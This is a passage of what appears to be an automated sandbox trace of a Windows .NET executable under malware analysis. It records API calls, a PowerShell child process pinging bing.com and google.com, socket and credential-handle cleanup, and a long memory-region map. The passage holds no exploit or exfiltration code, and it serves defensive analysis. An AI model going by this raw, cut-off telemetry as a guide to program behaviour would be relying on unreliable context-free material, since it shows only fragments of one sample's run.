[475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0253.263] ResumeThread (hThread=0x6c8) returned 0x1 [0253.358] CoGetContextToken (in: pToken=0x3ee2c4 | out: pToken=0x3ee2c4) returned 0x0 [0253.358] CObjectContext::QueryInterface () returned 0x0 [0253.358] CObjectContext::GetCurrentThreadType () returned 0x0 [0253.358] Release () returned 0x0 [0253.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x7e4180*=0xac, lpdwindex=0x3ee174 | out: lpdwindex=0x3ee174) returned 0x0 Thread: id = 2 os_tid = 0xee0 Thread: id = 3 os_tid = 0xee4 [0055.225] CoGetContextToken (in: pToken=0x43ffbfc | out: pToken=0x43ffbfc) returned 0x800401f0 [0055.225] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0252.741] CloseHandle (hObject=0x3b8) returned 1 [0252.741] CloseHandle (hObject=0x26c) returned 1 [0252.743] CertFreeCRLContext (pCrlContext=0x88ced0) returned 1 [0252.743] CloseHandle (hObject=0x498) returned 1 [0252.743] CloseHandle (hObject=0x3f8) returned 1 [0252.744] CloseHandle (hObject=0x378) returned 1 [0252.744] CloseHandle (hObject=0x268) returned 1 [0252.745] CloseHandle (hObject=0x364) returned 1 [0252.745] CertFreeCRLContext (pCrlContext=0x8636238) returned 1 [0252.745] CertCloseStore (hCertStore=0x89a760, dwFlags=0x0) returned 1 [0252.746] CertFreeCRLContext (pCrlContext=0x86361e8) returned 1 [0252.746] CloseHandle (hObject=0x3fc) returned 1 [0252.746] CertFreeCRLContext (pCrlContext=0x88ced0) returned 1 [0252.746] CloseHandle (hObject=0x4a4) returned 1 [0252.747] CertFreeCRLContext (pCrlContext=0x88cf20) returned 1 [0252.747] CertFreeCRLContext (pCrlContext=0x8636148) returned 1 [0252.747] CertFreeCRLContext (pCrlContext=0x88cf70) returned 1 [0253.400] SetWindowLongW (hWnd=0x50148, nIndex=-4, dwNewLong=1996957149) returned 79366438 [0253.402] SetClassLongW (hWnd=0x50148, nIndex=-24, dwNewLong=1996957149) returned 0x4bb08d6 [0253.402] PostMessageW (hWnd=0x50148, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0253.403] SetWindowLongW (hWnd=0x70024, nIndex=-4, dwNewLong=1996957149) returned 79366398 [0253.403] SetClassLongW (hWnd=0x70024, nIndex=-24, dwNewLong=1996957149) returned 0x770725dd [0253.403] PostMessageW (hWnd=0x70024, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0253.405] GetModuleHandleW (lpModuleName=0x0) returned 0x1a0000 [0253.405] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", hInstance=0x1a0000) returned 0 [0253.408] IsWindow (hWnd=0x6010a) returned 1 [0253.409] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75b00000 [0253.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x43ff97c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWgoèY\x81\x19Dþ+qüû?\x04\x01", lpUsedDefaultChar=0x0) returned 14 [0253.410] GetProcAddress (hModule=0x75b00000, lpProcName="DefWindowProcW") returned 0x770725dd [0253.410] SetWindowLongW (hWnd=0x6010a, nIndex=-4, dwNewLong=1996957149) returned 79366518 [0253.410] SetClassLongW (hWnd=0x6010a, nIndex=-24, dwNewLong=1996957149) returned 0x4bb0976 [0253.410] IsWindow (hWnd=0x6010a) returned 1 [0253.411] DestroyWindow (hWnd=0x6010a) returned 0 [0253.411] PostMessageW (hWnd=0x6010a, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0253.411] SetConsoleCtrlHandler (HandlerRoutine=0x4bb094e, Add=0) returned 1 [0253.412] EtwEventUnregister () returned 0x0 [0253.412] EtwEventUnregister () returned 0x0 [0253.431] DestroyCursor (hCursor=0x802c3) returned 1 [0253.432] DestroyCursor (hCursor=0xc00e9) returned 1 [0253.435] GdipDeleteFont (font=0x7480e68) returned 0x0 [0253.437] DeleteObject (ho=0x260a0240) returned 1 [0253.438] CloseHandle (hObject=0x40) returned 1 [0253.442] setsockopt (s=0x4e8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0253.443] closesocket (s=0x4e8) returned 0 [0253.444] CloseHandle (hObject=0x4ec) returned 1 [0253.444] WinHttpCloseHandle (hInternet=0x8a3438) returned 1 [0253.445] CloseHandle (hObject=0x464) returned 1 [0253.445] RegCloseKey (hKey=0x80000004) returned 0x0 [0253.446] CloseHandle (hObject=0x3ac) returned 1 [0253.446] UnmapViewOfFile (lpBaseAddress=0x4a0000) returned 1 [0253.447] setsockopt (s=0x4d0, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0253.447] closesocket (s=0x4d0) returned 0 [0253.449] CloseHandle (hObject=0x460) returned 1 [0253.450] RegCloseKey (hKey=0x45c) returned 0x0 [0253.450] CloseHandle (hObject=0x458) returned 1 [0253.450] RegCloseKey (hKey=0x454) returned 0x0 [0253.450] CloseHandle (hObject=0x450) returned 1 [0253.450] RegCloseKey (hKey=0x44c) returned 0x0 [0253.451] RegCloseKey (hKey=0x448) returned 0x0 [0253.451] CloseHandle (hObject=0x430) returned 1 [0253.451] setsockopt (s=0x424, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0253.452] closesocket (s=0x424) returned 0 [0253.452] CloseHandle (hObject=0x428) returned 1 [0253.453] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0253.453] closesocket (s=0x41c) returned 0 [0253.453] CloseHandle (hObject=0x420) returned 1 [0253.454] setsockopt (s=0x4d8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0253.454] closesocket (s=0x4d8) returned 0 [0253.454] CloseHandle (hObject=0x4e4) returned 1 [0253.455] FreeCredentialsHandle (phCredential=0x214c8e0) returned 0x0 [0253.456] DeleteSecurityContext (phContext=0x214ca98) returned 0x0 Thread: id = 4 os_tid = 0xee8 Thread: id = 5 os_tid = 0xef0 Thread: id = 6 os_tid = 0xefc [0072.456] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0072.477] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x81b6d8 [0072.479] LocalAlloc (uFlags=0x0, uBytes=0x3a) returned 0x8667a8 [0082.059] LocalFree (hMem=0x81b6d8) returned 0x0 [0082.059] LocalFree (hMem=0x8667a8) returned 0x0 [0082.060] CoUninitialize () Thread: id = 7 os_tid = 0xf00 Thread: id = 8 os_tid = 0xf04 [0074.250] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0074.251] ShellExecuteExW (in: pExecInfo=0x2162270*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.bing.com", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2162270*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.bing.com", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x378)) returned 1 [0081.876] CoGetContextToken (in: pToken=0x5d9f6fc | out: pToken=0x5d9f6fc) returned 0x0 [0081.978] CoUninitialize () Thread: id = 9 os_tid = 0xf08 Thread: id = 10 os_tid = 0xf0c Thread: id = 11 os_tid = 0xf10 Thread: id = 14 os_tid = 0xf24 Thread: id = 16 os_tid = 0xf54 Thread: id = 179 os_tid = 0xa8c Thread: id = 208 os_tid = 0xb20 Thread: id = 209 os_tid = 0xb24 Thread: id = 210 os_tid = 0xb28 [0170.619] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0170.624] ResetEvent (hEvent=0x2a4) returned 1 Thread: id = 211 os_tid = 0xb2c Thread: id = 463 os_tid = 0x3a4 Thread: id = 471 os_tid = 0xe30 Process: id = "2" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x3624d000" os_pid = "0xf14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Test-Connection www.google.com" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1374 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1375 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1376 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1377 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1378 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1379 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1380 start_va = 0x1f0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1381 start_va = 0xa70000 end_va = 0xadafff monitored = 0 entry_point = 0xa7d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1382 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1383 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1384 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1385 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1386 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1387 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1388 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1389 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1390 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1408 start_va = 0x300000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1409 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1410 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1411 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1412 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1413 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1414 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1415 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 1416 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1417 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 1418 start_va = 0x380000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1419 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1420 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1437 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1438 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1439 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1474 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1475 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1476 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1477 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1478 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1479 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1480 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1481 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1482 start_va = 0x72360000 end_va = 0x72373fff monitored = 0 entry_point = 0x72361da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1525 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1526 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1527 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1528 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1529 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1530 start_va = 0x758a0000 end_va = 0x7592efff monitored = 0 entry_point = 0x758a3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1531 start_va = 0x74a20000 end_va = 0x74a69fff monitored = 1 entry_point = 0x74a22e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1532 start_va = 0x150000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1535 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1536 start_va = 0x550000 end_va = 0x6d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1537 start_va = 0xe0000 end_va = 0xfdfff monitored = 0 entry_point = 0xf158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1538 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1539 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1540 start_va = 0x6e0000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 1541 start_va = 0xae0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 1543 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1558 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1559 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1560 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1561 start_va = 0x870000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 1572 start_va = 0x74990000 end_va = 0x74a1cfff monitored = 1 entry_point = 0x749a2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1573 start_va = 0x72bf0000 end_va = 0x72bf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1574 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1575 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1576 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1577 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1578 start_va = 0x712b0000 end_va = 0x71a5efff monitored = 1 entry_point = 0x712cd0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1579 start_va = 0x74970000 end_va = 0x74983fff monitored = 0 entry_point = 0x7497ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 1580 start_va = 0x723c0000 end_va = 0x7246afff monitored = 0 entry_point = 0x72455f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 1589 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1590 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1591 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1614 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1615 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1616 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1617 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1618 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1619 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1620 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1621 start_va = 0x1ee0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 1622 start_va = 0x960000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1623 start_va = 0x3c0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1624 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 1625 start_va = 0x960000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1626 start_va = 0xa00000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1627 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1628 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1629 start_va = 0x2070000 end_va = 0x406ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 1657 start_va = 0x230000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1658 start_va = 0x250000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1659 start_va = 0x1f40000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 1660 start_va = 0x2030000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 1661 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1668 start_va = 0x1f00000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1669 start_va = 0x1f90000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 1670 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1672 start_va = 0x4070000 end_va = 0x433efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1673 start_va = 0x6fea0000 end_va = 0x712aafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = 